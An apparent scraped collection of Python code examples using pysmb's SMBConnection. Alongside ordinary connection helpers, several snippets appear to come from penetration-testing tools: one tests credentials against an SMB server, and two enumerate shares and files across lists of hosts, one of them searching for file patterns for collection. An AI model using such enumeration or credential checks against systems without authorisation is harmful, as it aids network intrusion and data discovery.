         conn = SMBConnection(userID, password, 'pycon', server_name, use_ntlm_v2=True, domain=config["domain"], sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True)
         connection = conn.connect(server_name, 445)
         if connection:
             print("[+]  User Credentials Successful: " + config["USERNAME"] + ":" + config["PASSWORD"])
             self.somethingCool(config, userID, password, server_name, conn, connection)
         else:
             print("[-]  Login Failed for: " + config["USERNAME"] + ":" + config["PASSWORD"])
def file_connection():
    IP = sys.argv[1]
    shareName = sys.argv[2]
    inputFile = sys.argv[3]
    port = 139
    conn = SMBConnection("","","","")
    conn.connect(IP,port)
    fileObj = tempfile.NamedTemporaryFile()

    conn.retrieveFile(shareName,inputFile,fileObj)
    return fileObj
Example #54
0
    def Connect(self):
        client_machine_name = socket.gethostname()
        # watch out:
        # self.computer is unicode (must be converted to str)!
        conn = SMBConnection(self.username, self.password, client_machine_name, str(self.computer))

        computerIp = socket.gethostbyname(self.computer)
        # print computerIp

        conn.connect(computerIp, 139)

        self.conn = conn
Example #55
0
def smb_connect(_hostname, _username, _password):
    """
    Connect to a SMB server and return a connection
    :param _hostname: The name of the host to connect to
    :param _username: The username
    :param _password: The password
    :return: Returns an instance of SMBConnection or raises an exception
    """
    _smb = SMBConnection(username=_username, password=_password, my_name='client', remote_name=_hostname)
    if _smb.connect(ip=_hostname) is True:
        return _smb
    else:
        raise Exception("SMB authentication failed")
def main(argv):
    parser = OptionParser()
    parser.add_option("-u", "--username", 
            help="Username that will be used for authentication")
    parser.add_option("-p", "--password", 
            help="Password that will be used for authentication")
    parser.add_option("-f", "--file", dest="filename",
                              help="Read systems list from file")
    parser.add_option("-d", "--domain", 
            help="Domain name that will be used for authentication")
    (options, args) = parser.parse_args()

    with open(options.filename) as f:
        for system_name in f:
            try:
                print('### Analyzing system: ' + system_name)
                # parameterize an smb connection with a system
                conn = SMBConnection(options.username,
                    options.password,
                    'enumerator',
                    system_name,
                    options.domain,
                    use_ntlm_v2=True,
                    sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                    is_direct_tcp=True)

                # establish the actual connection
                connected = conn.connect(system_name,445)

                try:
                    Response = conn.listShares(timeout=30)  # obtain a list of shares
                    print('Shares on: ' + system_name)
                    for i in range(len(Response)):  # iterate through the list of shares
                        print("  Share[",i,"] =", Response[i].name)
                                
                        try:
                            # list the files on each share (recursivity?)
                            Response2 = conn.listPath(Response[i].name,'/',timeout=30)
                            print('    Files on: ' + system_name + '/' + "  Share[",i,"] =",
                                   Response[i].name)
                            for i in range(len(Response2)):
                                print("    File[",i,"] =", Response2[i].filename)
                        
                        except:
                            print('### can not access the resource')

                except:
                    print('### can not list shares')

            except:
                print('### can not access the system')
Example #57
0
 def __connect(self):
     conn_cnt = 0
     logger.info("trying to connect smb server on %s:%s" % (self.ip, self.port))
     while conn_cnt < ss.get("reconnect_times", 3):
         try:
             smb_conn = SMBConnection(
                 self.username, self.password, self.client_name, self.server_name, use_ntlm_v2=self.use_ntlm_v2
             )
             smb_conn.connect(self.ip, self.port)
             logger.info("connected to smb server")
             return smb_conn
         except Exception, e:
             conn_cnt += 1
             logger.info("connecting failed, times to reconnect: %d" % conn_cnt)
Example #58
0
    def searchTarget(self, host, username, password, domainname):
        success = False

        try:
            self.display.debug('### Analyzing system: ' + host)
            # parameterize an smb connection with a system
            conn = SMBConnection(username,
                                 password,
                                 'enumerator',
                                 host,
                                 domainname,
                                 use_ntlm_v2=True,
                                 sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                                 is_direct_tcp=True)

            # establish the actual connection
            connected = conn.connect(host, 445)
            if connected:
                success = True

                try:
                    Response = conn.listShares(timeout=30)  # obtain a list of shares
                    self.display.debug('Shares on: ' + host)
                    for i in range(len(Response)):  # iterate through the list of shares
                        self.display.debug("  Share[" + str(i) + "] =" + str(Response[i].name))
                        self.searchDir(host, conn, Response[i].name, '/')
#                        try:
#                            # list the files on each share (recursivity?)
#                            Response2 = conn.listPath(Response[i].name, '/', timeout=30)
#                            self.display.debug('    Files on: ' + host + '/' + "  Share[" + str(i) + "] =" + str(Response[i].name))
#                            for i in range(len(Response2)):
#                                for pattern in self.filepatterns:
#                                    try:
#                                        re.compile(pattern)
#                                        result = re.match(pattern, Response2[i].filename)
#                                        if (result):
#                                            # TODO
#                                            # host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
#                                            self.display.debug("    File[" + str(i) + "] =" + str(Response2[i].filename))
#                                    except re.error:
#                                        self.display.debug("Invalid File Pattern --> %s <--" % pattern) 
#                        except:
#                            self.display.error('### can not access the resource')
                except:
                    self.display.debug('### can not list shares')
        except:
            self.display.debug('### can not access the system (%s) (%s) (%s) (%s)' % (host, username, password, domainname))

        return success